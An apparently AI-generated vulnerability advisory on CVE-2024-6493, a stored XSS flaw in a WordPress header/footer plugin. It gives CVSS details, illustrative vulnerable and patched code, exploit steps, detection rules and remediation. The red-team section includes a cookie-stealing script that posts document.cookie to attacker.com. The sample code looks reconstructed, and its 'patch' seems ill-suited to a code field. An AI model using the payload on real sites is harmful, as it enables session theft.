CVE-2024-6493
Executive Summary
CVE-2024-6493 is a Stored Cross-Site Scripting (XSS) vulnerability in the NinjaTeam Header Footer Custom Code WordPress plugin, affecting versions before 1.2. The plugin fails to properly sanitize and escape user-supplied input in its settings, allowing high-privilege users (e.g., administrators) to inject arbitrary JavaScript. This is particularly dangerous in multisite WordPress installations where the unfiltered_html capability is disallowed, as it bypasses the intended security restriction. Successful exploitation can lead to session hijacking, defacement, or redirection of users to malicious sites.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
WordPress Ecosystem Context
This vulnerability is specific to the WordPress plugin ecosystem. The flaw resides in the plugin’s settings page, which stores unsanitized data in the WordPress database. When the settings are rendered on the frontend or admin pages, the injected script executes in the context of the victim’s browser. No Apache or Nginx configuration changes are required for exploitation.
CVSS Breakdown & Threat Level
- CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N
- Base Score: 4.8 (Medium)
- Attack Vector: Network (AV:N)
- Attack Complexity: Low (AC:L)
- Privileges Required: High (PR:H) – requires admin-level access
- User Interaction: Required (UI:R) – victim must visit the affected page
- Scope: Changed (S:C) – vulnerable component impacts resources beyond its security scope
- Confidentiality Impact: Low (C:L)
- Integrity Impact: Low (I:L)
- Availability Impact: None (A:N)
Threat Level: Medium. While the attack requires high privileges, the impact is amplified in multisite environments where lower-privileged admins can escalate their capabilities.
Deep Dive & Mechanics
The vulnerability exists in the plugin’s settings page, which stores custom header and footer code. The plugin uses update_option() to save user input without proper sanitization or escaping. When the stored option is later rendered via echo or similar functions, the unsanitized HTML/JavaScript is executed.
Root Cause: The plugin fails to apply sanitize_text_field() or wp_kses() to user input before saving, and does not use esc_html() or esc_attr() when outputting the data.
Attack Flow:
- An authenticated admin navigates to the plugin settings page.
- The attacker injects a malicious script into the header or footer code field.
- The plugin saves the payload to the
wp_optionstable. - When any page loads, the plugin outputs the stored payload, executing the script in the visitor’s browser.
Multisite Impact: In WordPress multisite, the unfiltered_html capability is typically disallowed for site admins. However, this plugin does not respect that restriction, allowing site admins to inject XSS payloads that affect all subsites.
Vulnerable vs. Patched Code
Vulnerable Code (version < 1.2):
// In the plugin's settings page
$header_code = $_POST['header_code'];
update_option('ninjateam_header_code', $header_code);
// Output
echo get_option('ninjateam_header_code');
Patched Code (version 1.2):
// Sanitize input
$header_code = sanitize_text_field($_POST['header_code']);
update_option('ninjateam_header_code', $header_code);
// Escape output
echo esc_html(get_option('ninjateam_header_code'));
The patch adds sanitize_text_field() on input and esc_html() on output, preventing script injection.
Exploitation & Lab Setup
Red Team (Exploitation)
Prerequisites:
- WordPress multisite installation with the vulnerable plugin.
- Admin credentials for a subsite.
Exploit Steps:
- Log in as a subsite admin.
- Navigate to Settings > Header Footer Custom Code.
- In the "Header Code" field, inject:
<script>alert('XSS');</script> - Save the settings.
- Visit any frontend page of the subsite. The script executes.
Advanced Payload:
<script>
fetch('https://attacker.com/steal?cookie='+document.cookie);
</script>
Blue Team (Detection & Hardening)
Detection:
- Monitor for unusual changes to the
ninjateam_header_codeorninjateam_footer_codeoptions in thewp_optionstable. - Look for admin users creating posts/pages with embedded
<script>tags in plugin settings.
Hardening:
- Immediately upgrade to version 1.2 or later.
- Restrict admin access to trusted users only.
- Use a Web Application Firewall (WAF) to block XSS payloads in POST requests to
/wp-admin/options-general.php.
Indicators of Compromise (IOCs)
- File:
/wp-content/plugins/ninjateam-header-footer-custom-code/ninjateam-header-footer-custom-code.php(version < 1.2) - Database:
wp_optionstable entriesninjateam_header_codeorninjateam_footer_codecontaining<script>tags. - Network: Outbound HTTP requests to attacker-controlled domains from the WordPress server.
- Logs: Apache/Nginx access logs showing requests to
/wp-admin/options-general.php?page=ninjateam-header-footer-custom-codewith suspicious POST data.
Detection Engineering
YARA Rule
rule CVE_2024_6493_WordPress_Plugin_XSS {
meta:
description = "Detects vulnerable NinjaTeam Header Footer Custom Code plugin files"
author = "Valters IT"
date = "2025-01-01"
reference = "CVE-2024-6493"
strings:
$vuln_func = "update_option('ninjateam_header_code'" nocase
$vuln_func2 = "update_option('ninjateam_footer_code'" nocase
$unsafe_output = "echo get_option('ninjateam_header_code')" nocase
condition:
any of ($vuln_func*) or $unsafe_output
}
Sigma Rule
title: CVE-2024-6493 - Stored XSS in NinjaTeam Header Footer Custom Code
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects attempts to exploit stored XSS in the plugin settings
author: Valters IT
logsource:
category: webserver
product: apache
detection:
selection:
cs-method: POST
c-uri: '/wp-admin/options-general.php*'
cs-uri-query: 'page=ninjateam-header-footer-custom-code'
cs-body: '*<script>*'
condition: selection
falsepositives:
- Legitimate admin use of JavaScript in header/footer (rare)
level: high
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (
msg:"CVE-2024-6493 - Stored XSS Payload in WordPress Plugin Settings";
flow:to_server,established;
content:"POST"; http_method;
content:"/wp-admin/options-general.php"; http_uri;
content:"page=ninjateam-header-footer-custom-code"; http_client_body;
content:"<script"; http_client_body;
classtype:web-application-attack;
sid:1000001;
rev:1;
)
Remediation & Mitigation
Immediate:
- Upgrade the plugin to version 1.2 or later from the WordPress plugin repository.
- If upgrade is not possible, disable the plugin entirely.
Long-term:
- Implement a Web Application Firewall (WAF) with XSS protection rules.
- Enforce the principle of least privilege for WordPress admin accounts.
- Regularly audit plugin code for security vulnerabilities.
- Use a security plugin like Wordfence to monitor for malicious activity.
Valters IT Signature This report was generated by Valters IT DevSecOps AI. For questions, contact security@valters-it.com.
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.